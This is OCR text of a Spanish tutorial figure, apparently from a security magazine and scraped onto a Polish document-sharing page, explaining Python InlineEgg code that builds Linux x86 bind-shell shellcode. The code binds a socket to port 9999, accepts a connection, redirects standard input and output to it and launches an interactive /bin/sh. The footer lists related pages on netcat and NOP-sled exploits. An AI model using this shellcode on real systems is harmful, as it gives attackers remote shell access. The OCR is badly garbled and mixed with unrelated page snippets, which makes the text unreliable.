egg rysunek es

egg rysunek es



codigo en Python:


INI CIO



sock =


i

eqq=InlineEqq(Linuxx86Syscall) Crea el shellcode

-►shellcode:

Conecta ei socket (cuyo puntero se encuentra en la pila) ai puerto 9999.


(Socket.AF INET,

Socket.SOCK STREAM)

Crea código para abrir el En la variable sock guarda el nombre del registro en el que sera puesto el puntero del socl (registro %eax)i


sock=eqq.save(sock)

Crea código que ponga en la pila ei va!or del registro cuyo nombre'se encuentra en layariableso.ck/ Recuerda el lugafde la pila donde ha sido puesto este va!or en la variable sock.


\

eqq.bind(sock, ('0.0.0.0', 9999))

Crea código que conecte ei socket (cuyo manipuiador se encuentra en la pila en la dirección que tenemos en la yariable sock) a puerto 9999.

1

1


eqq.listen(sock,1)

Crea código que inicie la escucha en el socket cuyo manipuiador se encuentra en la dirección aimacenada en lavariable sock.


registro

%eax


I nicią la escucha en el socket cuyo puntero se encuentra en la pila


variable

client


Espera por conexiones dei cliente y crea un nuevo socket para cada nueva conexión. Coioca el puntero nueyo socket en ei registro %eax.


client=eqq.accept(sock, 0, 0)

Crea código que espere por conexiones del cliente y que cree un nuevo socket para cada nueva conexión. Coioca el nombre del registro en el cuai sera coiocado el puntero del socket en la variable clien



client=eqq.save(client)

Crea código que ponga en la pila el yałor del registro cuyo nombre seencuentra en la variablej client. Coioca la dirección en la pila en la que se encuentra este va!or en la variable client. O-


1

eqq.close(sock)

e el socket cuyo ntra en ia pila en ia i la yariable client.

Crea código que cierr manipuiador se encue dirección contenida er

1

eqq.dup2(client, 0)

eqq.dup2(client, 1)

eqq.dup2(client. 2)

Crea código que conecte la entrada, saiida y saiida de errores estandar al socket cuyo puntero se encuentra en la dirección guardada en la variable client.


1

eqq.execve('/bin/sh',('sh','-i'))

Crea código que lance comandos

3 la linea de


FIN



Pon el va!or del registro %e en t^ pila

besx


variable

client


puntero

de

socket

puntero de socke

-►


-►


Cierra el socket cuyo puntercj) encuentra en ia pila.


Conecta la entrada, saiida y saiida de errores estandar al socket cuyo puntero se encuentra en la pila


-► Lanza ia linea de comandos



FIN



Wyszukiwarka

Podobne podstrony:
egg rysunek es código en Python
egg rysunek fr codę en Python I a=egg.save(5) Crśer le codę empilant la valeur
egg rysunek fr codę en Python : egg=InlineEgg(Linuxx86Syscall) Creer le shellcode egg.bind(sock, (
egg rysunek ? Der Codę unter Python:
egg rysunek en Python codę Address, where value 5 will be put is located in variable a. shellc
egg rysunek en Python codę:Ci START shellcode: egg.listen(sock, 1) Create codę that starts listenni
egg rysunek en first terminal: netcat connected to port 9999 i k exploit
egg rysunek en victim intruder□ nops+shellcode+address□ Exploit will connect to application on vict
egg rysunek? Codę in PythonDii 5 T~
egg rysunek pl kod w Pythonie: 3zelkod: egg=Inli neEgg(Linuxx8 6S yscal1) Stwórz szelkod START sock
rysunek techniczny 1 3 -    PN-EN ISO 4034:2004 Nakrętki sześciokątne. Klasa dokładno
saBagHKKUłw® uhmj K • ^31 tłuk es, • e er en •e e; en e er t es L ej e en f.
L.ES LIBRAIRIES EN LIGNE ET LA MENACE SUR LE PRIX UNIQUE Lcur dćveloppemcnt cst aujourd hui spcctacu
DSC62 (8) superficie entera del cubo, por tanto, es divisible en tres grupos formados de dos cuadra
53107 papiercreatif 149 SCULPTURE EN PAPIERComment fabriquer une armaturę I.es objeis en trois dimen
egg rysunek pl pierwsza konsola: netcat podłączony do portu 9999 i < eksploit
egg rysunek fr © © sommet de la pile © valeur empilee par le shellcode valeur empilee par le

więcej podobnych podstron